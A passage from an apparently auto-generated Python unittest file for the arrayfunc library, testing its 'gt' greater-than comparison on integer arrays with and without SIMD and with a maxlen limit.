self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('I', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('I', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code I.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_l_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'l' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'l' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'l' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('l', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('l', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code l.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_l_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'l' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'l' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'l' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('l', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('l', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code l.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_l_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'l' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'l' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'l' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('l', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('l', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code l.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_l_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'l' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'l' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'l' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('l', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('l', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code l.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_l_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'l' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'l' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'l' in ('f', 'd'):
